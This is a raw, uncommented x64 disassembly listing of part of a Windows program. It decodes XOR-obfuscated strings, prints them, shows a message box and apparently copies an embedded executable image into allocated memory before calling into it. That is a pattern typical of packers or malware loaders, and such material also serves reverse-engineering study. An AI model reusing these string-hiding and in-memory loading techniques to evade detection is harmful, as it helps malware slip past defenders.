xorps xmm0, xmmword [rbp + 0x130]
movdqa xmmword [rbp + 0x70], xmm0
lea rdx, [rbp - 0x10]
lea rcx, [0x140077670]
call fcn.14001c000
mov rcx, rax
lea rdx, [0x140067884]
call fcn.14001c000
movabs rax, 0x3f24793a6a31986c
mov qword [rbp - 0x10], rax
movabs rax, 0x16d59ac5d85c4e98
mov qword [rbp - 8], rax
movabs rax, 0x45029b967a27ba30
mov qword [rbp], rax
movabs rax, 0xf3e4672ea7e84216
mov qword [rbp + 8], rax
movabs rax, 0x73e2773e079bd09
mov qword [rbp + 0x10], rax
movabs rax, 0x8ecdd1d381cda5ba
mov qword [rbp + 0x18], rax
movabs rax, 0x5b497cd0ff0fbd0e
mov qword [rbp + 0x20], rax
movabs rax, 0xa7b5eb257b74e54a
mov qword [rbp + 0x28], rax
movabs rax, 0xc4643691d2ef822d
mov qword [rbp + 0x30], rax
movabs rax, 0x747677d8bb9d9120
mov qword [rbp + 0x38], rax
movabs rax, 0xc8b1022f6adff7bb
mov qword [rbp + 0x40], rax
movabs rax, 0x60075c76a397e2fc
mov qword [rbp + 0x48], rax
movabs rax, 0xf77f4fc94d521141
mov qword [rbp + 0x50], rax
movabs rax, 0x6e0848297959b503
mov qword [rbp + 0x58], rax
movabs rax, 0x7cbed5ab2f98aca0
mov qword [rbp + 0x60], rax
movabs rax, 0xcf3c4a7673558252
mov qword [rbp + 0x68], rax
movabs rax, 0x50e67bf6ddab56e6
mov qword [rbp + 0x70], rax
movabs rax, 0x2d36065c90fb609f
mov qword [rbp + 0x78], rax
movabs rax, 0x5e040c551311fe05
mov qword [rbp + 0xb0], rax
movabs rax, 0x79b1f4acaf7c2bea
mov qword [rbp + 0xb8], rax
movabs rax, 0x2070bba74b07c947
mov qword [rbp + 0xc0], rax
movabs rax, 0x9e8b040ed3872d74
mov qword [rbp + 0xc8], rax
movabs rax, 0x695f0701850dc879
mov qword [rbp + 0xd0], rax
movabs rax, 0xfdedb4b8e0a085de
mov qword [rbp + 0xd8], rax
mov qword [rbp + 0xe0], r14
mov qword [rbp + 0xe8], rsi
mov qword [rbp + 0xf0], r13
mov qword [rbp + 0xf8], r15
mov qword [rbp + 0x100], rdi
mov qword [rbp + 0x108], rbx
movabs rax, 0x811e27e9383d6861
mov qword [rbp + 0x110], rax
movabs rax, 0x4e7468000d309566
mov qword [rbp + 0x118], rax
movabs rax, 0x13d8fd8b6cc8fce3
mov qword [rbp + 0x120], rax
mov qword [rbp + 0x128], r12
movabs rax, 0x3c841a85b4cf7695
mov qword [rbp + 0x130], rax
movabs rax, 0x2d36065c90da04fa
mov qword [rbp + 0x138], rax
movdqa xmm0, xmmword [rbp + 0xb0]
xorps xmm0, xmmword [rbp - 0x10]
movdqa xmmword [rbp - 0x10], xmm0
movdqa xmm1, xmmword [rbp]
xorps xmm1, xmmword [rbp + 0xc0]
movdqa xmmword [rbp], xmm1
movdqa xmm0, xmmword [rbp + 0x10]
xorps xmm0, xmmword [rbp + 0xd0]
movdqa xmmword [rbp + 0x10], xmm0
movdqa xmm1, xmmword [rbp + 0x20]
xorps xmm1, xmmword [rbp + 0xe0]
movdqa xmmword [rbp + 0x20], xmm1
movdqa xmm0, xmmword [rbp + 0x30]
xorps xmm0, xmmword [rbp + 0xf0]
movdqa xmmword [rbp + 0x30], xmm0
movdqa xmm1, xmmword [rbp + 0x40]
xorps xmm1, xmmword [rbp + 0x100]
movdqa xmmword [rbp + 0x40], xmm1
movdqa xmm0, xmmword [rbp + 0x50]
xorps xmm0, xmmword [rbp + 0x110]
movdqa xmmword [rbp + 0x50], xmm0
movdqa xmm1, xmmword [rbp + 0x60]
xorps xmm1, xmmword [rbp + 0x120]
movdqa xmmword [rbp + 0x60], xmm1
movdqa xmm0, xmmword [rbp + 0x70]
xorps xmm0, xmmword [rbp + 0x130]
movdqa xmmword [rbp + 0x70], xmm0
lea rdx, [rbp - 0x10]
lea rcx, [0x140077670]
call fcn.14001c000
mov rcx, rax
lea rdx, [0x140067884]
call fcn.14001c000
movabs rbx, 0x79b1f4acaf7c2bea
movabs r15, 0x5e040c551311fe05
movabs rax, 0x306d6421767c9176
mov qword [rbp - 0x10], rax
movabs rax, 0x1cc18cc9c1090b8d
mov qword [rbp - 8], rax
movabs rax, 0x5011d3872f62bd24
mov qword [rbp], rax
movabs rax, 0xf6fc246ab6e94804
mov qword [rbp + 8], rax
movabs rax, 0xd3e686da568a410
mov qword [rbp + 0x10], rax
movabs rax, 0x899ecdcbc0c7ebb7
mov qword [rbp + 0x18], rax
movabs rax, 0x4f75cab94aa21e
mov qword [rbp + 0x20], rax
movabs rax, 0x8bc1844a19548016
mov qword [rbp + 0x28], rax
mov qword [rbp + 0xb0], r15
mov qword [rbp + 0xb8], rbx
movabs r12, 0x2070bba74b07c947
mov qword [rbp + 0xc0], r12
movabs rdi, 0x9e8b040ed3872d74
mov qword [rbp + 0xc8], rdi
movabs rax, 0x695f0701850dc879
mov qword [rbp + 0xd0], rax
movabs rax, 0xfdedb4b8e0a085de
mov qword [rbp + 0xd8], rax
mov qword [rbp + 0xe0], r14
mov qword [rbp + 0xe8], rsi
movdqa xmm0, xmmword [rbp + 0xb0]
xorps xmm0, xmmword [rbp - 0x10]
movdqa xmmword [rbp - 0x10], xmm0
movdqa xmm1, xmmword [rbp]
xorps xmm1, xmmword [rbp + 0xc0]
movdqa xmmword [rbp], xmm1
movdqa xmm0, xmmword [rbp + 0x10]
xorps xmm0, xmmword [rbp + 0xd0]
movdqa xmmword [rbp + 0x10], xmm0
movdqa xmm1, xmmword [rbp + 0x20]
xorps xmm1, xmmword [rbp + 0xe0]
movdqa xmmword [rbp + 0x20], xmm1
lea rdx, [rbp - 0x10]
lea rcx, [0x140077670]
call fcn.14001c000
mov rcx, rax
lea rdx, [0x140067884]
call fcn.14001c000
movabs rax, 0x30612c2660748c75
mov qword [rbp - 0x50], rax
movabs rax, 0x1a919bd88f0e4e9e
mov qword [rbp - 0x48], rax
movabs rax, 0x2070bb892e74a62b
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdi
mov qword [rbp + 0x1b0], r15
mov qword [rbp + 0x1b8], rbx
mov qword [rbp + 0x1c0], r12
mov qword [rbp + 0x1c8], rdi
movdqa xmm0, xmmword [rbp + 0x1b0]
xorps xmm0, xmmword [rbp - 0x50]
movdqa xmmword [rbp - 0x50], xmm0
movdqa xmm1, xmmword [rbp - 0x40]
xorps xmm1, xmmword [rbp + 0x1c0]
movdqa xmmword [rbp - 0x40], xmm1
lea rdx, [rbp - 0x50]
lea rcx, [0x140077670]
call fcn.14001c000
mov rcx, rax
lea rdx, [0x140067884]
call fcn.14001c000
lea rcx, [0x1400779f0]
call fcn.14002bca0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, 0x5a4d
cmp word [0x140067a80], ax
jne 0x140029112
movsxd rax, dword [0x140067abc]
lea rcx, [0x140067a80]
add rax, 8
add rax, rcx
jmp 0x140029117
mov eax, 4
mov ebx, dword [rax]
movabs rax, 0x3d6d41755d50b240
mov qword [rbp + 0xb0], rax
movabs rax, 0xbc597c9c3194498
mov qword [rbp + 0xb8], rax
movabs rax, 0x4f339bd4286ea728
mov qword [rbp + 0xc0], rax
movabs rax, 0xf1e2706fa1e85d06
mov qword [rbp + 0xc8], rax
movabs rax, 0x695f0701850dc817
mov qword [rbp + 0xd0], rax
movabs rcx, 0xfdedb4b8e0a085de
mov qword [rbp + 0xd8], rcx
movabs rdi, 0x5e040c551311fe05
mov qword [rbp + 0x1b0], rdi
movabs rax, 0x79b1f4acaf7c2bea
mov qword [rbp + 0x1b8], rax
movabs rax, 0x2070bba74b07c947
mov qword [rbp + 0x1c0], rax
movabs rax, 0x9e8b040ed3872d74
mov qword [rbp + 0x1c8], rax
movabs rax, 0x695f0701850dc879
mov qword [rbp + 0x1d0], rax
mov qword [rbp + 0x1d8], rcx
movdqa xmm0, xmmword [rbp + 0x1b0]
xorps xmm0, xmmword [rbp + 0xb0]
movdqa xmmword [rbp + 0xb0], xmm0
movdqa xmm1, xmmword [rbp + 0xc0]
xorps xmm1, xmmword [rbp + 0x1c0]
movdqa xmmword [rbp + 0xc0], xmm1
movdqa xmm0, xmmword [rbp + 0xd0]
xorps xmm0, xmmword [rbp + 0x1d0]
movdqa xmmword [rbp + 0xd0], xmm0
lea rdx, [rbp + 0xb0]
lea rcx, [rbp - 0x10]
call fcn.14001be10
nop
mov edx, ebx
lea rcx, [rbp - 0x10]
call fcn.140020fe0
nop
lea rcx, [rbp - 0x10]
call fcn.14001bdb0
mov rcx, qword [0x140079448]
call fcn.140021b60
mov rcx, qword [0x140079448]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [rsp + 0x41], 0
lea rdx, [rsp + 0x41]
lea rcx, [rbp - 0x10]
call fcn.140030690
mov rcx, rax
call fcn.140020570
call fcn.140020720
movabs rax, 0x3724683063619f68
mov qword [rbp - 0x50], rax
movabs rax, 0x3d8878cca1b4a87
mov qword [rbp - 0x48], rax
movabs rax, 0x2070bba74b27f322
mov qword [rbp - 0x40], rax
movabs rax, 0x9e8b040ed3872d74
mov qword [rbp - 0x38], rax
mov qword [rbp + 0x1b0], rdi
movabs rbx, 0x79b1f4acaf7c2bea
mov qword [rbp + 0x1b8], rbx
movabs rdx, 0x2070bba74b07c947
mov qword [rbp + 0x1c0], rdx
mov qword [rbp + 0x1c8], rax
movdqa xmm0, xmmword [rbp + 0x1b0]
xorps xmm0, xmmword [rbp - 0x50]
movdqa xmmword [rbp - 0x50], xmm0
movdqa xmm1, xmmword [rbp - 0x40]
xorps xmm1, xmmword [rbp + 0x1c0]
movdqa xmmword [rbp - 0x40], xmm1
lea rdx, [rbp - 0x50]
lea rcx, [0x140077670]
call fcn.14001c000
mov rdx, qword [0x140079408]
sub rdx, qword [0x140079400]
mov rcx, rax
call fcn.14002c290
mov rcx, rax
lea rdx, [0x140067884]
call fcn.14001c000
movabs rax, 0x3724683077709169
mov qword [rbp - 0x10], rax
movabs rax, 0x1fd781ce8f135f84
mov qword [rbp - 8], rax
movabs rax, 0x4950dfc92a27bb22
mov qword [rbp], rax
movabs rax, 0xf8ab777aa1e85d19
mov qword [rbp + 8], rax
movabs rax, 0x695f072fe168b010
mov qword [rbp + 0x10], rax
movabs rcx, 0xfdedb4b8e0a085de
mov qword [rbp + 0x18], rcx
mov qword [rbp + 0xb0], rdi
mov qword [rbp + 0xb8], rbx
movabs rax, 0x2070bba74b07c947
mov qword [rbp + 0xc0], rax
movabs rax, 0x9e8b040ed3872d74
mov qword [rbp + 0xc8], rax
movabs rax, 0x695f0701850dc879
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], rcx
movdqa xmm0, xmmword [rbp + 0xb0]
xorps xmm0, xmmword [rbp - 0x10]
movdqa xmmword [rbp - 0x10], xmm0
movdqa xmm1, xmmword [rbp]
xorps xmm1, xmmword [rbp + 0xc0]
movdqa xmmword [rbp], xmm1
movdqa xmm0, xmmword [rbp + 0x10]
xorps xmm0, xmmword [rbp + 0xd0]
movdqa xmmword [rbp + 0x10], xmm0
lea rdx, [rbp - 0x10]
lea rcx, [0x140077670]
call fcn.14001c000
mov rcx, rax
lea rdx, [0x140067884]
call fcn.14001c000
mov rcx, qword [0x140079408]
sub rcx, qword [0x140079400]
call fcn.1400209b0
mov rdi, rax
test rax, rax
je 0x140028f10
mov rcx, rax
call fcn.140020830
mov r8, qword [0x140079408]
mov rdx, qword [0x140079400]
sub r8, rdx
mov rcx, rdi
call fcn.140020c80
mov rcx, qword [0x1400793e0]
mov ebx, dword [rcx + 0x28]
add rbx, rdi
movabs rax, 0x31742c2c61659060
mov qword [rbp + 0x170], rax
movabs rax, 0x79b1f48c95084583
mov qword [rbp + 0x178], rax
movabs rax, 0x5e040c551311fe05
mov qword [rbp - 0x50], rax
movabs rax, 0x79b1f4acaf7c2bea
mov qword [rbp - 0x48], rax
movdqa xmm0, xmmword [rbp - 0x50]
xorps xmm0, xmmword [rbp + 0x170]
movdqa xmmword [rbp + 0x170], xmm0
lea rdx, [rbp + 0x170]
lea rcx, [0x140077670]
call fcn.14001c000
mov rdx, rbx
mov rcx, rax
call fcn.14002c290
mov rcx, rax
lea rdx, [0x140067884]
call fcn.14001c000
mov r8, qword [0x140079408]
sub r8, qword [0x140079400]
mov rdx, rdi
mov rcx, rbx
call fcn.1400306b0
movabs rbx, 0x79b1f4acaf7c2bea
test eax, eax
js 0x140028f10
movabs rax, 0x3d6d41755d50b240
mov qword [rbp + 0xb0], rax
movabs rax, 0xbc597c9c3194498
mov qword [rbp + 0xb8], rax
movabs rax, 0x4f339bd4286ea728
mov qword [rbp + 0xc0], rax
movabs rax, 0xf1e2706fa1e85d06
mov qword [rbp + 0xc8], rax
movabs rax, 0x695f0701850dc817
mov qword [rbp + 0xd0], rax
movabs rcx, 0xfdedb4b8e0a085de
mov qword [rbp + 0xd8], rcx
movabs rdi, 0x5e040c551311fe05
mov qword [rbp - 0x10], rdi
mov qword [rbp - 8], rbx
movabs rax, 0x2070bba74b07c947
mov qword [rbp], rax
movabs rax, 0x9e8b040ed3872d74
mov qword [rbp + 8], rax
movabs rax, 0x695f0701850dc879
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rcx
movdqa xmm0, xmmword [rbp - 0x10]
xorps xmm0, xmmword [rbp + 0xb0]
movdqa xmmword [rbp + 0xb0], xmm0
movdqa xmm1, xmmword [rbp + 0xc0]
xorps xmm1, xmmword [rbp]
movdqa xmmword [rbp + 0xc0], xmm1
movdqa xmm0, xmmword [rbp + 0xd0]
xorps xmm0, xmmword [rbp + 0x10]
movdqa xmmword [rbp + 0xd0], xmm0
lea rdx, [rbp + 0xb0]
lea rcx, [rbp - 0x10]
call fcn.14001be10
nop
lea rcx, [rbp - 0x10]
call fcn.140022f50
nop
lea rcx, [rbp - 0x10]
call fcn.14001bdb0
movabs rax, 0x3a617c25725cde5e
mov qword [rbp - 0x10], rax
movabs rax, 0x1cc39bcaca1e0bc6
mov qword [rbp - 8], rax
movabs rax, 0x411ccb873e68b067
mov qword [rbp], rax
movabs rax, 0xffec2477bde60d0d
mov qword [rbp + 8], rax
movabs rax, 0x1b3a6f75ea2dad14
mov qword [rbp + 0x10], rax
movabs rax, 0x929f94d681c8f1fe
mov qword [rbp + 0x18], rax
movabs rax, 0x4b58398fa705a319
mov qword [rbp + 0x20], rax
movabs rax, 0xe4b8a43e6b35f44b
mov qword [rbp + 0x28], rax
movabs rax, 0xd8427bd2fc9fa478
mov qword [rbp + 0x30], rax
movabs rax, 0x667e77d2fa9a8026
mov qword [rbp + 0x38], rax
movabs rax, 0x8c8469055990bfbb
mov qword [rbp + 0x40], rax
movabs rax, 0x631a07769abcc492
mov qword [rbp + 0x48], rax
movabs rax, 0xa1704299771d5211
mov qword [rbp + 0x50], rax
movabs rax, 0x3a54106f6152fa14
mov qword [rbp + 0x58], rax
movabs rax, 0x67be92f84ca6998b
mov qword [rbp + 0x60], rax
movabs rax, 0xc77b02125b66c357
mov qword [rbp + 0x68], rax
movabs rax, 0x3c841ad894e118fc
mov qword [rbp + 0x70], rax
movabs rcx, 0x2d36065c90da04fa
mov qword [rbp + 0x78], rcx
mov qword [rbp + 0xb0], rdi
mov qword [rbp + 0xb8], rbx
movabs rax, 0x2070bba74b07c947
mov qword [rbp + 0xc0], rax
movabs rax, 0x9e8b040ed3872d74
mov qword [rbp + 0xc8], rax
movabs rax, 0x695f0701850dc879
mov qword [rbp + 0xd0], rax
movabs rax, 0xfdedb4b8e0a085de
mov qword [rbp + 0xd8], rax
mov qword [rbp + 0xe0], r14
mov qword [rbp + 0xe8], rsi
mov qword [rbp + 0xf0], r13
mov qword [rbp + 0xf8], r15
movabs rax, 0xacdf630f04b09ecf
mov qword [rbp + 0x100], rax
movabs rax, 0x66e7456eec4a1dc
mov qword [rbp + 0x108], rax
movabs rax, 0x811e27e9383d6861
mov qword [rbp + 0x110], rax
movabs rax, 0x4e7468000d309566
mov qword [rbp + 0x118], rax
movabs rax, 0x13d8fd8b6cc8fce3
mov qword [rbp + 0x120], rax
mov qword [rbp + 0x128], r12
movabs rax, 0x3c841a85b4cf7695
mov qword [rbp + 0x130], rax
mov qword [rbp + 0x138], rcx
movdqa xmm0, xmmword [rbp + 0xb0]
xorps xmm0, xmmword [rbp - 0x10]
movdqa xmmword [rbp - 0x10], xmm0
movdqa xmm1, xmmword [rbp]
xorps xmm1, xmmword [rbp + 0xc0]
movdqa xmmword [rbp], xmm1
movdqa xmm0, xmmword [rbp + 0x10]
xorps xmm0, xmmword [rbp + 0xd0]
movdqa xmmword [rbp + 0x10], xmm0
movdqa xmm1, xmmword [rbp + 0x20]
xorps xmm1, xmmword [rbp + 0xe0]
movdqa xmmword [rbp + 0x20], xmm1
movdqa xmm0, xmmword [rbp + 0x30]
xorps xmm0, xmmword [rbp + 0xf0]
movdqa xmmword [rbp + 0x30], xmm0
movdqa xmm1, xmmword [rbp + 0x40]
xorps xmm1, xmmword [rbp + 0x100]
movdqa xmmword [rbp + 0x40], xmm1
movdqa xmm0, xmmword [rbp + 0x50]
xorps xmm0, xmmword [rbp + 0x110]
movdqa xmmword [rbp + 0x50], xmm0
movdqa xmm1, xmmword [rbp + 0x60]
xorps xmm1, xmmword [rbp + 0x120]
movdqa xmmword [rbp + 0x60], xmm1
movdqa xmm0, xmmword [rbp + 0x70]
xorps xmm0, xmmword [rbp + 0x130]
movdqa xmmword [rbp + 0x70], xmm0
lea rdx, [rbp - 0x10]
lea rcx, [0x140077670]
call fcn.14001c000
mov rcx, rax
lea rdx, [0x140067884]
call fcn.14001c000
movabs rax, 0x30612c2660748c75
mov qword [rbp - 0x50], rax
movabs rax, 0x1a919bd88f0e4e9e
mov qword [rbp - 0x48], rax
movabs rax, 0x2070bb892e74a62b
mov qword [rbp - 0x40], rax
movabs rax, 0x9e8b040ed3872d74
mov qword [rbp - 0x38], rax
mov qword [rbp + 0x1b0], rdi
mov qword [rbp + 0x1b8], rbx
movabs rdx, 0x2070bba74b07c947
mov qword [rbp + 0x1c0], rdx
mov qword [rbp + 0x1c8], rax
movdqa xmm0, xmmword [rbp + 0x1b0]
xorps xmm0, xmmword [rbp - 0x50]
movdqa xmmword [rbp - 0x50], xmm0
movdqa xmm1, xmmword [rbp - 0x40]
xorps xmm1, xmmword [rbp + 0x1c0]
movdqa xmmword [rbp - 0x40], xmm1
lea rdx, [rbp - 0x50]
lea rcx, [0x140077670]
call fcn.14001c000
mov rcx, rax
lea rdx, [0x140067884]
call fcn.14001c000
lea rcx, [0x1400779f0]
call fcn.14002bca0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.140025a00
test al, al
je 0x140029c7e
movabs rax, 0x5e0469367a65916b
mov qword [rbp + 0x170], rax
mov qword [rbp + 0x178], rbx
movabs rax, 0x5e040c551311fe05
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], rbx
movdqa xmm0, xmmword [rbp - 0x50]
xorps xmm0, xmmword [rbp + 0x170]
movdqa xmmword [rbp + 0x170], xmm0
movabs rcx, 0x3d247e207c48de5e
mov qword [rbp - 0x10], rcx
movabs rcx, 0x59c391d8da0c4685
mov qword [rbp - 8], rcx
movabs rcx, 0x5315c987276ba030
mov qword [rbp], rcx
movabs rcx, 0xeaed652ea7f54c00
mov qword [rbp + 8], rcx
movabs rcx, 0x23c6e6de62dba1c
mov qword [rbp + 0x10], rcx
movabs rcx, 0xda86db9fc0c7ebb7
mov qword [rbp + 0x18], rcx
movabs rcx, 0x425a69c2ff05bb5b
mov qword [rbp + 0x20], rcx
movabs rcx, 0xe3a2a42f7120a041
mov qword [rbp + 0x28], rcx
movabs rcx, 0xd11237cefad8b86c
mov qword [rbp + 0x30], rcx
movabs rcx, 0x607f3ed1b1898872
mov qword [rbp + 0x38], rcx
movabs rcx, 0xcdac43607090fbbd
mov qword [rbp + 0x40], rcx
movabs rcx, 0x6e1a0d388fe4c4aa
mov qword [rbp + 0x48], rcx
movabs rcx, 0xee78428b185a0608
mov qword [rbp + 0x50], rcx
movabs rcx, 0x2700066f6e10f014
mov qword [rbp + 0x58], rcx
movabs rcx, 0x1385ddec02a1898d
mov qword [rbp + 0x60], rcx
mov qword [rbp + 0x68], r12
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], rbx
movabs rax, 0x2070bba74b07c947
mov qword [rbp + 0xc0], rax
movabs rax, 0x9e8b040ed3872d74
mov qword [rbp + 0xc8], rax
movabs rax, 0x695f0701850dc879
mov qword [rbp + 0xd0], rax
movabs rax, 0xfdedb4b8e0a085de
mov qword [rbp + 0xd8], rax
mov qword [rbp + 0xe0], r14
mov qword [rbp + 0xe8], rsi
mov qword [rbp + 0xf0], r13
mov qword [rbp + 0xf8], r15
mov qword [rbp + 0x100], rdi
movabs rax, 0x66e7456eec4a1dc
mov qword [rbp + 0x108], rax
movabs rax, 0x811e27e9383d6861
mov qword [rbp + 0x110], rax
movabs rax, 0x4e7468000d309566
mov qword [rbp + 0x118], rax
movabs rax, 0x13d8fd8b6cc8fce3
mov qword [rbp + 0x120], rax
mov qword [rbp + 0x128], r12
movdqa xmm0, xmmword [rbp + 0xb0]
xorps xmm0, xmmword [rbp - 0x10]
movdqa xmmword [rbp - 0x10], xmm0
movdqa xmm1, xmmword [rbp]
xorps xmm1, xmmword [rbp + 0xc0]
movdqa xmmword [rbp], xmm1
movdqa xmm0, xmmword [rbp + 0x10]
xorps xmm0, xmmword [rbp + 0xd0]
movdqa xmmword [rbp + 0x10], xmm0
movdqa xmm1, xmmword [rbp + 0x20]
xorps xmm1, xmmword [rbp + 0xe0]
movdqa xmmword [rbp + 0x20], xmm1
movdqa xmm0, xmmword [rbp + 0x30]
xorps xmm0, xmmword [rbp + 0xf0]
movdqa xmmword [rbp + 0x30], xmm0
movdqa xmm1, xmmword [rbp + 0x40]
xorps xmm1, xmmword [rbp + 0x100]
movdqa xmmword [rbp + 0x40], xmm1
movdqa xmm0, xmmword [rbp + 0x50]
xorps xmm0, xmmword [rbp + 0x110]
movdqa xmmword [rbp + 0x50], xmm0
movdqa xmm1, xmmword [rbp + 0x60]
xorps xmm1, xmmword [rbp + 0x120]
movdqa xmmword [rbp + 0x60], xmm1
mov r9d, 0x30
lea r8, [rbp + 0x170]
lea rdx, [rbp - 0x10]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
movabs rax, 0x3073633167649676
mov qword [rbp - 0x50], rax
movabs rax, 0x499180838f0e04ca
mov qword [rbp - 0x48], rax
movabs rdx, 0x2070bba74b07c947
mov qword [rbp - 0x40], rdx
movabs rcx, 0x9e8b040ed3872d74
mov qword [rbp - 0x38], rcx
movabs rax, 0x5e040c551311fe05
mov qword [rbp + 0x1b0], rax
mov qword [rbp + 0x1b8], rbx
mov qword [rbp + 0x1c0], rdx
mov qword [rbp + 0x1c8], rcx
movdqa xmm0, xmmword [rbp + 0x1b0]
xorps xmm0, xmmword [rbp - 0x50]
movdqa xmmword [rbp - 0x50], xmm0
movdqa xmm1, xmmword [rbp - 0x40]
xorps xmm1, xmmword [rbp + 0x1c0]
movdqa xmmword [rbp - 0x40], xmm1
lea rcx, [rbp - 0x50]
call fcn.14003f080
movabs rax, 0x306d6421767c9176
mov qword [rbp - 0x10], rax
movabs rax, 0x1cc18cc9c1090b8d
mov qword [rbp - 8], rax
movabs rax, 0x5011d3872f62bd24
mov qword [rbp], rax
movabs rax, 0xf6fc246ab6e94804
mov qword [rbp + 8], rax
movabs rax, 0xd3e686da568a410
mov qword [rbp + 0x10], rax
movabs rax, 0x899ecdcbc0c7ebb7
mov qword [rbp + 0x18], rax
movabs rax, 0x4f75cab94aa21e
mov qword [rbp + 0x20], rax
movabs rax, 0xabb4eb333932e918
mov qword [rbp + 0x28], rax
movabs rax, 0xc95c7fcabfdaa46c
mov qword [rbp + 0x30], rax
movabs rax, 0x672c2f85fa9b923d
mov qword [rbp + 0x38], rax
movabs rax, 0xc3bc437b6bdffcaa
mov qword [rbp + 0x40], rax
movabs rax, 0x674e06339ab1d1b1
mov qword [rbp + 0x48], rax
movabs rax, 0xa17b4c88551d0c0f
mov qword [rbp + 0x50], rax
movabs rax, 0x2d111b206842e015
mov qword [rbp + 0x58], rax
movabs rax, 0x67b792e94cad8e96
mov qword [rbp + 0x60], rax
movabs rax, 0xc87d437f6e40820c
mov qword [rbp + 0x68], rax
movabs rax, 0x55ac3ac8e78c56f1
mov qword [rbp + 0x70], rax
movabs rax, 0x4c5e2629ffa3249c
mov qword [rbp + 0x78], rax
movabs rax, 0x5bb887a36d3cb4a1
mov qword [rbp + 0x80], rax
movabs rax, 0x1da87efdb59c9b24
mov qword [rbp + 0x88], rax
movabs rax, 0x558a947ce7b924e6
mov qword [rbp + 0x90], rax
movabs rax, 0xd255e28163addf07
mov qword [rbp + 0x98], rax
movabs rax, 0xb1f7453090efc67
mov qword [rbp + 0xa0], rax
movabs rcx, 0x425bd37a948a15c8
mov qword [rbp + 0xa8], rcx
movabs rax, 0x5e040c551311fe05
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], rbx
movabs rax, 0x2070bba74b07c947
mov qword [rbp + 0xc0], rax
movabs rax, 0x9e8b040ed3872d74
mov qword [rbp + 0xc8], rax
movabs rax, 0x695f0701850dc879
mov qword [rbp + 0xd0], rax
movabs rax, 0xfdedb4b8e0a085de
mov qword [rbp + 0xd8], rax
mov qword [rbp + 0xe0], r14
mov qword [rbp + 0xe8], rsi
mov qword [rbp + 0xf0], r13
mov qword [rbp + 0xf8], r15
mov qword [rbp + 0x100], rdi
movabs rax, 0x66e7456eec4a1dc
mov qword [rbp + 0x108], rax
movabs rax, 0x811e27e9383d6861
mov qword [rbp + 0x110], rax
movabs rax, 0x4e7468000d309566
mov qword [rbp + 0x118], rax
movabs rax, 0x13d8fd8b6cc8fce3
mov qword [rbp + 0x120], rax
mov qword [rbp + 0x128], r12
movabs rax, 0x3c841a85b4cf7695
mov qword [rbp + 0x130], rax
movabs rax, 0x2d36065c90da04fa
mov qword [rbp + 0x138], rax
movabs rax, 0x2798aed7041cd1d7
mov qword [rbp + 0x140], rax
movabs rax, 0x7b805ebee5ccd804
mov qword [rbp + 0x148], rax
movabs rax, 0x75a3d031a6995689
mov qword [rbp + 0x150], rax
movabs rax, 0xb03491e8078dac6e
mov qword [rbp + 0x158], rax
movabs rax, 0xb1f7453096a990b
mov qword [rbp + 0x160], rax
mov qword [rbp + 0x168], rcx
movdqa xmm0, xmmword [rbp + 0xb0]
xorps xmm0, xmmword [rbp - 0x10]
movdqa xmmword [rbp - 0x10], xmm0
movdqa xmm1, xmmword [rbp]
xorps xmm1, xmmword [rbp + 0xc0]
movdqa xmmword [rbp], xmm1
movdqa xmm0, xmmword [rbp + 0x10]
xorps xmm0, xmmword [rbp + 0xd0]
movdqa xmmword [rbp + 0x10], xmm0
movdqa xmm1, xmmword [rbp + 0x20]
xorps xmm1, xmmword [rbp + 0xe0]
movdqa xmmword [rbp + 0x20], xmm1
movdqa xmm0, xmmword [rbp + 0x30]
xorps xmm0, xmmword [rbp + 0xf0]
movdqa xmmword [rbp + 0x30], xmm0
movdqa xmm1, xmmword [rbp + 0x40]
xorps xmm1, xmmword [rbp + 0x100]
movdqa xmmword [rbp + 0x40], xmm1
movdqa xmm0, xmmword [rbp + 0x50]
xorps xmm0, xmmword [rbp + 0x110]
movdqa xmmword [rbp + 0x50], xmm0
movdqa xmm1, xmmword [rbp + 0x60]
xorps xmm1, xmmword [rbp + 0x120]
movdqa xmmword [rbp + 0x60], xmm1
movdqa xmm0, xmmword [rbp + 0x70]
xorps xmm0, xmmword [rbp + 0x130]
movdqa xmmword [rbp + 0x70], xmm0
movdqa xmm1, xmmword [rbp + 0x80]
xorps xmm1, xmmword [rbp + 0x140]
movdqa xmmword [rbp + 0x80], xmm1
movdqa xmm0, xmmword [rbp + 0x90]
xorps xmm0, xmmword [rbp + 0x150]
movdqa xmmword [rbp + 0x90], xmm0
movdqa xmm1, xmmword [rbp + 0xa0]
xorps xmm1, xmmword [rbp + 0x160]
movdqa xmmword [rbp + 0xa0], xmm1
lea rdx, [rbp - 0x10]
lea rcx, [0x140077670]
call fcn.14001c000
mov rcx, rax
lea rdx, [0x140067884]
call fcn.14001c000
movabs rax, 0x30612c2660748c75
mov qword [rbp - 0x50], rax
movabs rax, 0x1a919bd88f0e4e9e
mov qword [rbp - 0x48], rax
movabs rax, 0x2070bb892e74a62b
mov qword [rbp - 0x40], rax
movabs rcx, 0x9e8b040ed3872d74
mov qword [rbp - 0x38], rcx
movabs rax, 0x5e040c551311fe05
mov qword [rbp + 0x1b0], rax
mov qword [rbp + 0x1b8], rbx
movabs rax, 0x2070bba74b07c947
mov qword [rbp + 0x1c0], rax
mov qword [rbp + 0x1c8], rcx
movdqa xmm0, xmmword [rbp + 0x1b0]
xorps xmm0, xmmword [rbp - 0x50]
movdqa xmmword [rbp - 0x50], xmm0
movdqa xmm1, xmmword [rbp - 0x40]
xorps xmm1, xmmword [rbp + 0x1c0]
movdqa xmmword [rbp - 0x40], xmm1
lea rdx, [rbp - 0x50]
lea rcx, [0x140077670]
call fcn.14001c000
mov rcx, rax
lea rdx, [0x140067884]
call fcn.14001c000
lea rcx, [0x1400779f0]
call fcn.14002bca0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rbx, r13
jmp 0x140028f1a
movabs rax, 0x7e5c783676639741
mov qword [rbp - 0x10], rax
movabs rax, 0x59d499c5db125e98
mov qword [rbp - 8], rax
movabs rax, 0x5403d5ce6b73a629
mov qword [rbp], rax
